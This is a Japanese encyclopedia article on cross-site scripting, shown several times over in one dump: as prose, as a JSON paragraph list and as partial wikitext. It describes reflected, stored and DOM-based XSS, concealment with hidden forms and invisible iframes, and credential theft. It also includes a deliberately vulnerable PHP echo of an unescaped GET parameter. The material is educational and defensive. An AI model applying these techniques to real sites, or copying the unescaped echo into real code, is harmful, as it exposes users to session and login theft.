長さに制限のないスクリプトを埋め込むには、攻撃者は自分のサイトを立ち上げ、そこに悪意のあるスクリプト「http://(攻撃者のサイト上の悪意のあるスクリプト)」をおいた上で、被害者に
を閲覧させればよい。
ただしこちらの攻撃の場合、攻撃者のサイトのURLがウェブサーバのログに残るため、これを手がかりにサーバ管理者が攻撃者を特定できる可能性がある。したがって攻撃者は自身のサイトの場所を頻繁に変えるなど追跡の手を逃れる手段を講じる必要がある。
上述したGETメソッドの例ではURLに変数の値がそのまま表示されている事が攻撃者にXSS攻撃を可能にしてしまった原因の一つである。しかしURLに変数の値が表示されないPOSTメソッドを使った場合でもXSS攻撃が可能である。以下、POSTメソッドを前提にして話をすすめるが、GETメソッドに対しても同様の方法でインジェクションが可能である。
標的サイトにXSS攻撃を仕掛けるため、攻撃者は自身でウェブサイト(罠サイト)を立ち上げ、そこに以下のようなHTMLを書く:
被害者が罠サイトを表示してしまうと、フォームhogeのinput文においてgenderが(悪意のあるスクリプト)にセットされた状態で標的サイト「http://example.com/」が表示されてしまうので、被害者のブラウザで悪意のあるスクリプトが実行されてしまう。
しかもこのinput文はhidden指定なのでgenderの値は被害者のブラウザ上に表示されず、被害者はこの事実に気づかない。
上で説明した「GETメソッドのみに適用できる例」ではユーザがアクセスした攻撃用サイトには「入力した性別は以下のもので正しいでしょうか」といった文章が表示されてしまうため、攻撃を受けたことにユーザが気づいてしまう可能性があるが、攻撃者が悪意のあるスクリプト部分の冒頭に
というJavaScriptを記載しておけば、HTML本文が完全消去されるため、上述のような不自然な文章は表示されない。
これに続けて(JavaScriptのdocument.writeメソッドを使って)攻撃に必要な内容をスクリプト部分に自由に記述可能となる。
別の隠蔽工作方法として、罠サイトでHTMLのiframeタグとCSSを用いるというものがあり、この方法には攻撃者にとって上で述べた隠蔽工作とは違った利点がある(詳細後述)。なおiframeとはウェブページを入れ子にするためのHTMLタグで、ウェブページA上にウェブページBのURLを指定したiframeタグを書くと、A上に四角いフレームができ、その中にBの内容が表示される。これを利用して攻撃者は以下のように隠蔽工作を図る。
まず攻撃者は罠サイトのページAにiframeタグを書くことで、悪意のあるスクリプトを埋め込んだ標的サイトのURLを読み込む。具体的には、ページAに
と記載する。
さらにCSSを書くことでiframeの内容が表示されたフレームがAの閲覧者には見えないようにする。この状態で被害者を誘導してページAを開かせると、iframeにより自動的に悪意のあるスクリプトを埋め込んだ標的サイトが読み込まれるので、攻撃が成功する。
この隠蔽工作の利点は、攻撃に用いたiframeはCSSで隠しているので、標的サイトと全く無関係に見える罠サイトを被害者が開いただけで攻撃が完了し、しかも罠サイトのURLにも不自然なところはないので、被害者にとって罠サイトと通常サイトを見分ける手段が無いことである。
「GETメソッド、POSTメソッド双方に適用できる方法」に対しても同様にiframeとCSSで隠蔽工作が可能である。こちらの場合、攻撃用のフォームを書いたページBを罠サイトに作成し、BをiframeでページAに読み込んだ上でCSSによりiframeを隠せばよい。
被害者がページAを閲覧すると、iframe内は悪意のあるスクリプトを埋め込んだ標的サイトに遷移するという不自然な動きをするが、CSSでiframeを隠しているので被害者はこのことに気づかない。
XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」の例として、CWE-79では以下のものを挙げている:
HTML内には攻撃者が悪意のあるスクリプトをインジェクションし得る箇所として以下のものがある:
2.の場合、URLとして「javascript:(JavaScript文)」の形式(javascriptスキーム)を利用してJavaScriptを注入することができる。
攻撃者はXSSを用いることで、例えば以下の様な被害を発生させられる:
攻撃者は標的サイトexample.comで任意のスクリプトを実行可能なので例えばスクリプトに以下の様なhtmlのフォームを生成させる事でユーザが入力したID/パスワードを攻撃者のサイトに転送させる事ができる:
CWE-79ではXSSの攻撃手法を以下の3種類に分類している:
反射型XSSでは、攻撃者は不正なデータDをWebページPのURLなどに仕込んでおり、Dが原因でWebアプリケーションが作るPのhtml本文などに悪意のあるスクリプトが含まれる。被害者がWebページPのURLをクリックすると、Pの内容とともに悪意のあるスクリプトが被害者のブラウザに送信され、ブラウザ上で悪意のあるスクリプトが実行される事で被害が生じる。したがって攻撃者が反射型XSSの脆弱性を利用するには、被害者をPに誘導する方法を別途考える必要がある。
反射型XSSにおいて攻撃者が被害者をWebページPに誘導する方法は主に2つある。第一の方法は、標的サイトとは別のWebサイト(公開掲示板や攻撃者自身のWebサイトなど)にPのURLを張り、被害者がPへのリンクをクリックするのを待つ方法である。第二の方法は標的サイトを装って被害者にメールし、そのメール本文にPのURLを記載することで、被害者がPを閲覧するのを期待する方法である。
一方、格納型XSSでは、攻撃者は不正なデータDを標的サイトのデータベース、メッセージフォーラム、訪問者のログといったデータストアに保存する。たとえば電子掲示板に格納型XSSの脆弱性がある場合、攻撃者は不正なデータDを含んだ書き込みを掲示板に対して行う。すると掲示板システムはDを自身のデータストアに保存し、正規の利用者が掲示板を訪れるたびにDを含んだ書き込みを表示するため、この書き込みを表示した利用者全員がXSSの被害者になりうる。格納型XSSは正規サイトのデータストアそのものに不正なデータを仕込むので、反射型XSSと違い被害者に不正なURLをクリックさせる必要がない事が攻撃者にとっての利点の一つである。
反射型および格納型のXSSではWebアプリケーション側が悪意のあるスクリプトを含んだWebページPを作り出す事が原因で、Pを閲覧した被害者が被害を受ける。それに対しDOMベースXSSは、ブラウザなどのユーザ・クライアントが悪意のあるスクリプトを含んだWebページを生成するタイプのXSSの総称である。DOMベースXSSは、スクリプトを使った以下のような動的html生成(DOM操作)を利用する。一般にユーザがWebサイトにアクセスすると、Webアプリケーションはユーザ・クライアントに対し、(悪意のない正規の)スクリプトSを含んだhtmlを送り返すことがある。ユーザ・クライアントはこのhtmlを受け取ると、htmlに含まれるスクリプトSを実行することで、htmlを書き換え、画面に出力する最終的なhtmlを得る。
DOMベースXSSではこの仕組みを悪用し、ユーザ・クライアント側で実行されるスクリプトSに不正なデータDを注入することで、XSS攻撃を実行する。Dを注入する箇所としては反射型XSSと同様、URLなどを利用する。
他の2つのXSSとは異なり、Webアプリケーション側ではDOMベースXSS攻撃が行われていることを感知できない。したがって例えばWebアプリケーション側にWAFを導入するなどの対策を施してもこの攻撃を検知したり防いだりする事はできない。
というのもDOMの仕組みでは、スクリプトSに注入される不正なデータDは、Webアプリケーションではなくユーザ・クライアント側で取得し、ユーザ・クライアント側でDが注入されたスクリプトSを実行するので、Webアプリケーション側には不正なデータDが一切伝わらないからである。
すでに述べたように、XSSへの対策としてはユーザからフォームの値を取得した際、htmlで特別な意味を持つ記号を以下のように別の記号に置き換える(エスケープ処理をする)という方法がある:
このようにすると攻撃者が攻撃用スクリプトを埋め込むのに利用したhtmlのタグ「<script>」は「<script>」という無害な文字列に置き換わってしまうので上述したXSS攻撃を回避できる。
なおエスケープ処理は例えばPHPのhtmlspecialchars関数を利用する事で実現可能である。
しかしこのような対策には限界があり、#インジェクション箇所で述べた、スクリプトが直接記述可能な箇所やURLを記述可能な箇所に対しては、この対策は効かない。
エスケープが必要な記号として、「<」、「>」、「"」などがある。「<」と「>」をエスケープする必要がある理由の一つはすでに具体例で挙げたように「<script>」を無効にするためである。「"」をエスケープする理由は以下で述べる。
HTML中で属性値を引用符でくくっていても適切な対策(属性値中で引用符「"」をエスケープ)をしない限り、XSS対策にならない。たとえば
のように青色で示した入力値inputvalが引用符でくくられていたとしていても 攻撃者が
というURLを被害者にクリックさせると、被害者のブラウザでは(HTML中では%3dが「=」に変換されるので)
となってしまうので、onmouseoverイベントハンドラによりマウス移動時に悪意のあるスクリプトが実行されてしまう。 | [
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"text": "本節ではXSS脆弱性とXSS攻撃の詳細を具体例を通して述べる。 すでに述べたように、ウェブサイトではユーザがフォームなどで入力した値を変数として持ち、変数にセットされた値に応じてその後の動的なページ内容の生成が行われ、その際には変数値そのものがページに表示されることもある。XSS脆弱性の簡単な例としてはユーザが値を決定できる変数値を加工せずそのままウェブページに表示(エコーバック)してしまうというものがある。具体的には以下のようなシチュエーションでXSS脆弱性が生じる事が多い:",
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"text": "そこで最初に挙げた確認ページのシチュエーションにおける脆弱性を利用したXSS攻撃の例を述べる。今、標的サイト example.comのウェブページにユーザの性別を選択させるフォームがあり、そのページではユーザが選択した値(\"man\"もしくは\"woman\")を変数genderにそのまま保管し、genderの内容を以下のようにそのまま表示する事でフォームの内容をユーザに再確認させるページを動的に生成するとする(再確認ページのURLはフォームのあるページのURLと同一でも異なってもよい)。",
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"tag": "p",
"text": "実際、標的サイトのウェブページには、変数genderの値をそのまま表示するページを動的に生成してしまうという脆弱性があるので、攻撃者が前述のようにgenderをセットした状態で被害者となるユーザがこのページを閲覧してしまうと、ウェブサイトは動的に生成したHTML",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 19,
"tag": "p",
"text": "を被害者のブラウザに送りつけてくるため、悪意のあるスクリプトが被害者のブラウザ上で自動的に実行されてしまう。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "なお、ウェブサイトの作者がgenderの値としてフォームに準備した値が「man」と「woman」の2つだけだったとしても、実際にgenderにセットされた値が「man」か「woman」のいずれかであることを、ウェブサイトを置いているサーバ側でチェックしない限り、攻撃者はそれ以外の値(=悪意のあるスクリプト)にgenderをセット可能である。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "次に攻撃者が悪意のあるスクリプトをインジェクションする方法を述べる。方法はウェブページにどのようなXSS脆弱性が存在するのかに依存するので、ここではフォームの入力値の2通りの送信方法(GETメソッド、POSTメソッド)に応じてインジェクション方法を2通り述べる。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "なお、ここで説明する例はいずれも、後述するXSSの分類では「反射型」に属する。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "GETメソッドでは変数の値がURLに明記されるので、フォームの内容をユーザに再確認させるページのURLは",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "のような形になっている。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "そこで攻撃者は被害者となるユーザに以下のURLにアクセスするよう何らかの方法(たとえばexample.comを装った罠メールにこのURLを記載)で促す:",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "するとgenderが悪意のあるスクリプトにセットされたページを被害者が閲覧することになるので、攻撃が成功したことになる。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "ここで重要なのは、上記のURLが「http://example.com/」から始まる事である。これが原因でユーザはexample.comの何ら問題のないWebページだと誤解してしまい、上記のURLをクリックしてしまう可能性がある。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "なお、ここでは悪意のあるスクリプトを標的サイトのURLに埋め込む方法を紹介したが、URLの長さには上限がある関係上、埋め込めるスクリプトの長さが制限されてしまうため、攻撃者が行える攻撃の種類が制限されてしまう。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "長さに制限のないスクリプトを埋め込むには、攻撃者は自分のサイトを立ち上げ、そこに悪意のあるスクリプト「http://(攻撃者のサイト上の悪意のあるスクリプト)」をおいた上で、被害者に",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "を閲覧させればよい。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "ただしこちらの攻撃の場合、攻撃者のサイトのURLがウェブサーバのログに残るため、これを手がかりにサーバ管理者が攻撃者を特定できる可能性がある。したがって攻撃者は自身のサイトの場所を頻繁に変えるなど追跡の手を逃れる手段を講じる必要がある。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "上述したGETメソッドの例ではURLに変数の値がそのまま表示されている事が攻撃者にXSS攻撃を可能にしてしまった原因の一つである。しかしURLに変数の値が表示されないPOSTメソッドを使った場合でもXSS攻撃が可能である。以下、POSTメソッドを前提にして話をすすめるが、GETメソッドに対しても同様の方法でインジェクションが可能である。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "標的サイトにXSS攻撃を仕掛けるため、攻撃者は自身でウェブサイト(罠サイト)を立ち上げ、そこに以下のようなHTMLを書く:",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "被害者が罠サイトを表示してしまうと、フォームhogeのinput文においてgenderが(悪意のあるスクリプト)にセットされた状態で標的サイト「http://example.com/」が表示されてしまうので、被害者のブラウザで悪意のあるスクリプトが実行されてしまう。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "しかもこのinput文はhidden指定なのでgenderの値は被害者のブラウザ上に表示されず、被害者はこの事実に気づかない。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "上で説明した「GETメソッドのみに適用できる例」ではユーザがアクセスした攻撃用サイトには「入力した性別は以下のもので正しいでしょうか」といった文章が表示されてしまうため、攻撃を受けたことにユーザが気づいてしまう可能性があるが、攻撃者が悪意のあるスクリプト部分の冒頭に",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "というJavaScriptを記載しておけば、HTML本文が完全消去されるため、上述のような不自然な文章は表示されない。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "これに続けて(JavaScriptのdocument.writeメソッドを使って)攻撃に必要な内容をスクリプト部分に自由に記述可能となる。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "別の隠蔽工作方法として、罠サイトでHTMLのiframeタグとCSSを用いるというものがあり、この方法には攻撃者にとって上で述べた隠蔽工作とは違った利点がある(詳細後述)。なおiframeとはウェブページを入れ子にするためのHTMLタグで、ウェブページA上にウェブページBのURLを指定したiframeタグを書くと、A上に四角いフレームができ、その中にBの内容が表示される。これを利用して攻撃者は以下のように隠蔽工作を図る。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "まず攻撃者は罠サイトのページAにiframeタグを書くことで、悪意のあるスクリプトを埋め込んだ標的サイトのURLを読み込む。具体的には、ページAに",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "と記載する。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "さらにCSSを書くことでiframeの内容が表示されたフレームがAの閲覧者には見えないようにする。この状態で被害者を誘導してページAを開かせると、iframeにより自動的に悪意のあるスクリプトを埋め込んだ標的サイトが読み込まれるので、攻撃が成功する。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "この隠蔽工作の利点は、攻撃に用いたiframeはCSSで隠しているので、標的サイトと全く無関係に見える罠サイトを被害者が開いただけで攻撃が完了し、しかも罠サイトのURLにも不自然なところはないので、被害者にとって罠サイトと通常サイトを見分ける手段が無いことである。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "「GETメソッド、POSTメソッド双方に適用できる方法」に対しても同様にiframeとCSSで隠蔽工作が可能である。こちらの場合、攻撃用のフォームを書いたページBを罠サイトに作成し、BをiframeでページAに読み込んだ上でCSSによりiframeを隠せばよい。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "被害者がページAを閲覧すると、iframe内は悪意のあるスクリプトを埋め込んだ標的サイトに遷移するという不自然な動きをするが、CSSでiframeを隠しているので被害者はこのことに気づかない。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」の例として、CWE-79では以下のものを挙げている:",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "HTML内には攻撃者が悪意のあるスクリプトをインジェクションし得る箇所として以下のものがある:",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "2.の場合、URLとして「javascript:(JavaScript文)」の形式(javascriptスキーム)を利用してJavaScriptを注入することができる。",
"title": "XSS脆弱性とXSS攻撃の詳細"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "攻撃者はXSSを用いることで、例えば以下の様な被害を発生させられる:",
"title": "XSSの被害"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "攻撃者は標的サイトexample.comで任意のスクリプトを実行可能なので例えばスクリプトに以下の様なhtmlのフォームを生成させる事でユーザが入力したID/パスワードを攻撃者のサイトに転送させる事ができる:",
"title": "XSSの被害"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "CWE-79ではXSSの攻撃手法を以下の3種類に分類している:",
"title": "攻撃手法の分類"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "反射型XSSでは、攻撃者は不正なデータDをWebページPのURLなどに仕込んでおり、Dが原因でWebアプリケーションが作るPのhtml本文などに悪意のあるスクリプトが含まれる。被害者がWebページPのURLをクリックすると、Pの内容とともに悪意のあるスクリプトが被害者のブラウザに送信され、ブラウザ上で悪意のあるスクリプトが実行される事で被害が生じる。したがって攻撃者が反射型XSSの脆弱性を利用するには、被害者をPに誘導する方法を別途考える必要がある。",
"title": "攻撃手法の分類"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "反射型XSSにおいて攻撃者が被害者をWebページPに誘導する方法は主に2つある。第一の方法は、標的サイトとは別のWebサイト(公開掲示板や攻撃者自身のWebサイトなど)にPのURLを張り、被害者がPへのリンクをクリックするのを待つ方法である。第二の方法は標的サイトを装って被害者にメールし、そのメール本文にPのURLを記載することで、被害者がPを閲覧するのを期待する方法である。",
"title": "攻撃手法の分類"
},
{
"paragraph_id": 54,
"tag": "p",
"text": "一方、格納型XSSでは、攻撃者は不正なデータDを標的サイトのデータベース、メッセージフォーラム、訪問者のログといったデータストアに保存する。たとえば電子掲示板に格納型XSSの脆弱性がある場合、攻撃者は不正なデータDを含んだ書き込みを掲示板に対して行う。すると掲示板システムはDを自身のデータストアに保存し、正規の利用者が掲示板を訪れるたびにDを含んだ書き込みを表示するため、この書き込みを表示した利用者全員がXSSの被害者になりうる。格納型XSSは正規サイトのデータストアそのものに不正なデータを仕込むので、反射型XSSと違い被害者に不正なURLをクリックさせる必要がない事が攻撃者にとっての利点の一つである。",
"title": "攻撃手法の分類"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "反射型および格納型のXSSではWebアプリケーション側が悪意のあるスクリプトを含んだWebページPを作り出す事が原因で、Pを閲覧した被害者が被害を受ける。それに対しDOMベースXSSは、ブラウザなどのユーザ・クライアントが悪意のあるスクリプトを含んだWebページを生成するタイプのXSSの総称である。DOMベースXSSは、スクリプトを使った以下のような動的html生成(DOM操作)を利用する。一般にユーザがWebサイトにアクセスすると、Webアプリケーションはユーザ・クライアントに対し、(悪意のない正規の)スクリプトSを含んだhtmlを送り返すことがある。ユーザ・クライアントはこのhtmlを受け取ると、htmlに含まれるスクリプトSを実行することで、htmlを書き換え、画面に出力する最終的なhtmlを得る。",
"title": "攻撃手法の分類"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "DOMベースXSSではこの仕組みを悪用し、ユーザ・クライアント側で実行されるスクリプトSに不正なデータDを注入することで、XSS攻撃を実行する。Dを注入する箇所としては反射型XSSと同様、URLなどを利用する。",
"title": "攻撃手法の分類"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "他の2つのXSSとは異なり、Webアプリケーション側ではDOMベースXSS攻撃が行われていることを感知できない。したがって例えばWebアプリケーション側にWAFを導入するなどの対策を施してもこの攻撃を検知したり防いだりする事はできない。",
"title": "攻撃手法の分類"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "というのもDOMの仕組みでは、スクリプトSに注入される不正なデータDは、Webアプリケーションではなくユーザ・クライアント側で取得し、ユーザ・クライアント側でDが注入されたスクリプトSを実行するので、Webアプリケーション側には不正なデータDが一切伝わらないからである。",
"title": "攻撃手法の分類"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "すでに述べたように、XSSへの対策としてはユーザからフォームの値を取得した際、htmlで特別な意味を持つ記号を以下のように別の記号に置き換える(エスケープ処理をする)という方法がある:",
"title": "対策"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "このようにすると攻撃者が攻撃用スクリプトを埋め込むのに利用したhtmlのタグ「<script>」は「<script>」という無害な文字列に置き換わってしまうので上述したXSS攻撃を回避できる。",
"title": "対策"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "なおエスケープ処理は例えばPHPのhtmlspecialchars関数を利用する事で実現可能である。",
"title": "対策"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "しかしこのような対策には限界があり、#インジェクション箇所で述べた、スクリプトが直接記述可能な箇所やURLを記述可能な箇所に対しては、この対策は効かない。",
"title": "対策"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "エスケープが必要な記号として、「<」、「>」、「\"」などがある。「<」と「>」をエスケープする必要がある理由の一つはすでに具体例で挙げたように「<script>」を無効にするためである。「\"」をエスケープする理由は以下で述べる。",
"title": "対策"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "HTML中で属性値を引用符でくくっていても適切な対策(属性値中で引用符「\"」をエスケープ)をしない限り、XSS対策にならない。たとえば",
"title": "対策"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "のように青色で示した入力値inputvalが引用符でくくられていたとしていても 攻撃者が",
"title": "対策"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "というURLを被害者にクリックさせると、被害者のブラウザでは(HTML中では%3dが「=」に変換されるので)",
"title": "対策"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "となってしまうので、onmouseoverイベントハンドラによりマウス移動時に悪意のあるスクリプトが実行されてしまう。",
"title": "対策"
}
]
| クロスサイトスクリプティングとは、Webアプリケーションの脆弱性もしくはそれを利用した攻撃。脆弱性をツリー型に分類するCWEではこの攻撃を不適切な入力確認 (CWE-20) によるインジェクション (CWE-74) のひとつとして分類している (CWE-79)。略称はXSS。かつてはCSSという略称も使われていたが、Cascading Style Sheetsと紛らわしいのでこの略称はあまり使われなくなった。 「クロスサイト(サイト横断)」という名称は歴史的なもので、初期に発見されたXSSでは脆弱性のあるサイトと攻撃者のサイトを「サイト横断的」に利用して攻撃を実行することから名づけられたものだが、XSSの定義は新しいタイプの攻撃が見つかるたびに拡張され、サイト横断的なものでなくともXSSと呼ぶようになった。 この拡張された定義においてXSS攻撃とは、攻撃者の作成したスクリプトを脆弱性のある標的サイトのドメインの権限において閲覧者のブラウザで実行させる攻撃一般を指す。斜体で書いた部分がXSS攻撃の重要な特徴であり、この特徴により標的サイトの権限がないと実行できないようブラウザが制限している(同一生成元ポリシー)はずの行動を、攻撃者に実行可能にしてしまう。 | {{Pathnav|[[情報セキュリティ]]|[[脆弱性]]・攻撃手法|[[インジェクション攻撃]]|frame=1}}
'''クロスサイトスクリプティング'''({{lang-en-short|cross-site scripting}})とは、[[Webアプリケーション]]の[[脆弱性]]{{Sfn|CWE-79|2011}}もしくはそれを利用した攻撃。脆弱性をツリー型に分類する[[Security Content Automation Protocol|CWE]]ではこの攻撃を不適切な入力確認 (CWE-20) によるインジェクション (CWE-74) のひとつとして分類している (CWE-79)<ref name=":0">[https://www.ipa.go.jp/security/vuln/CWE.html 共通脆弱性タイプ一覧CWE概説]。IPA</ref>。略称は'''XSS'''。かつてはCSSという略称も使われていたが、[[Cascading Style Sheets]]と紛らわしいのでこの略称はあまり使われなくなった{{Sfn|CWE-79|2011}}。
「クロスサイト(サイト横断)」という名称は歴史的なもので、初期に発見されたXSSでは脆弱性のあるサイトと攻撃者のサイトを「サイト横断的」に利用して攻撃を実行することから名づけられたものだが{{Sfn|金床|2007|page=3章冒頭部}}<ref>[http://e-words.jp/w/%E3%82%AF%E3%83%AD%E3%82%B9%E3%82%B5%E3%82%A4%E3%83%88%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0.html IT用語辞典e-words「クロスサイトスクリプティング」] 2016/09/12閲覧</ref>、XSSの定義は新しいタイプの攻撃が見つかるたびに拡張され、サイト横断的なものでなくともXSSと呼ぶようになった{{Sfn|金床|2007|page=3章冒頭部}}。
この拡張された定義においてXSS攻撃とは、攻撃者の作成したスクリプトを''脆弱性のある標的サイトのドメインの権限において''閲覧者のブラウザで実行させる攻撃一般を指す{{Sfn|金床|2007|page=3章冒頭部}}。斜体で書いた部分がXSS攻撃の重要な特徴であり、この特徴により標的サイトの権限がないと実行できないようブラウザが制限している([[同一生成元ポリシー]])はずの行動を、攻撃者に実行可能にしてしまう{{Sfn|金床|2007|page=3章『攻撃の概要』節}}。
== 概要 ==
=== 背景 ===
{{Main|同一生成元ポリシー}}
XSSについて述べる前に、ウェブサイトの仕組みについて簡単に復習する。[[JavaScript]]のような[[クライアントサイド]]の'''スクリプト'''は、ウェブサイトが閲覧者が取った行動(例えばフォーム に何を記載したか)を'''変数'''の形で取得し、取得した変数値に応じて'''動的'''にHTMLを生成する。
セキュリティの観点から見た場合スクリプトには非常に強い権限が与えられている為、これを悪用された場合には大きな危険を伴う事になる。具体的にはスクリプトを使えばブラウザに保管されている[[HTTP cookie|cookie]]の内容を読み書きする事も可能であるし、ログイン時にはサイトからユーザ固有の情報を読み書きする事も可能である。さらにはそうした情報を別のサイト(例えば攻撃者のサイト)に転送する事も可能である。
こうした事情によりウェブブラウザには'''[[同一生成元ポリシー]]'''という、スクリプトの悪用を制限するためのポリシーが実装されている。このポリシーは、「ウェブページ1に記載されたスクリプトがそれとは別のウェブページ2に関するデータにアクセスできるのは、ページ1と2が同一の「オリジン」にある場合のみである」とするものである。ここでページ1と2の'''オリジン'''が同一であるとは、1と2のプロトコル、ホスト名、ポート番号が一致する事を指す。
多くのケースにおいて同一のウェブサイト上にあるページは同一のホスト上において同一のプロトコル(http)と同一ポート番号(80番)で動作するものなので、同一生成元ポリシーはウェブサイトを構築する上であまり邪魔にならない。しかし攻撃者が全く別のサイトからスクリプトによってデータを不正に読み取ろうとしたとしても同一生成元ポリシーがこれを妨げるのでセキュリティは担保される。
===XSS攻撃の目的と特徴づけ===
XSS攻撃は、ウェブサイト('''標的サイト''')の脆弱性(XSS脆弱性)を利用する事で、標的サイトの権限で悪意のあるコンテンツ(多くの場合スクリプト)を実行する事を目的として行われる{{Sfn|金床|2007|page=3章『攻撃の概要』節}}{{Sfn|CWE-79|2011}}。悪意のあるコンテンツは標的サイトの権限で実行されるので、同一生成元ポリシーによる制限が迂回される{{Sfn|金床|2007|page=3章『攻撃の概要』節}}{{Sfn|CWE-79|2011}}。これを悪用する事により攻撃者は標的サイトを閲覧したユーザ(='''被害者''')のcookieを盗むなど、様々な攻撃を行う。
CWE-79ではXSS攻撃を以下のような攻撃として特徴づけており、XSS脆弱性をXSS攻撃を可能にする脆弱性として特徴づけている{{Sfn|CWE-79|2011}}。XSS攻撃を行う攻撃者は標的サイトへのデータ入力経路に不正なデータを注入('''インジェクション''')する。ここでいう「データ入力経路」は正規のユーザのために用意された入力経路(例えばフォーム)の場合もあればそうでない場合もあり、標的サイトのウェブアプリケーションへのWebリクエスト全般が狙われる{{Sfn|CWE-79|2011}}。また不正なデータはスクリプトなどWebブラウザで実行可能な悪意のあるコンテンツを含んだものが用いられる。
このインジェクションの結果、標的サイトのウェブサーバが攻撃者の用意した不正データを含んだウェブページを動的に生成する{{Sfn|CWE-79|2011}}。この生成されたウェブページを被害者となるユーザが閲覧すると、不正なデータに含まれる悪意のあるコンテンツが標的サイトの権限により被害者のブラウザ上で実行され、攻撃が成功する{{Sfn|CWE-79|2011}}。
XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」は何らかのスクリプトである事が多いので、本稿では以下、特に断りがない限りスクリプトのケースについて述べる。
==XSS脆弱性とXSS攻撃の詳細==
本節ではXSS脆弱性とXSS攻撃の詳細を具体例を通して述べる。
すでに述べたように、ウェブサイトではユーザがフォームなどで入力した値を変数として持ち、変数にセットされた値に応じてその後の動的なページ内容の生成が行われ、その際には変数値そのものがページに表示されることもある。XSS脆弱性の簡単な例としては'''ユーザが値を決定できる変数値を加工せずそのままウェブページに表示(エコーバック)してしまう'''{{Sfn|IPA|2014}}というものがある。具体的には以下のようなシチュエーションでXSS脆弱性が生じる事が多い:
* ユーザが入力した内容を確認・訂正させるページ{{Sfn|IPA|2011}}
* 検索結果の表示{{Sfn|IPA|2011}}
* エラー表示{{Sfn|IPA|2011}}
* ブログや掲示板におけるコメントの反映{{Sfn|IPA|2011}}
そこで最初に挙げた確認ページのシチュエーションにおける脆弱性を利用したXSS攻撃の例を述べる。今、標的サイト example.comのウェブページにユーザの性別を選択させるフォームがあり、そのページではユーザが選択した値("man"もしくは"woman")を変数genderにそのまま保管し、genderの内容を以下のようにそのまま表示する事でフォームの内容をユーザに再確認させるページを動的に生成するとする(再確認ページのURLはフォームのあるページのURLと同一でも異なってもよい)。
<syntaxhighlight lang="html">
入力した性別は以下のもので正しいでしょうか:
(genderの値)
</syntaxhighlight>
具体的にはたとえばPHPで
<syntaxhighlight lang="php">
<?php echo "名前:".$_GET['gender']; ?>
</syntaxhighlight>
もしくは
<syntaxhighlight lang="php">
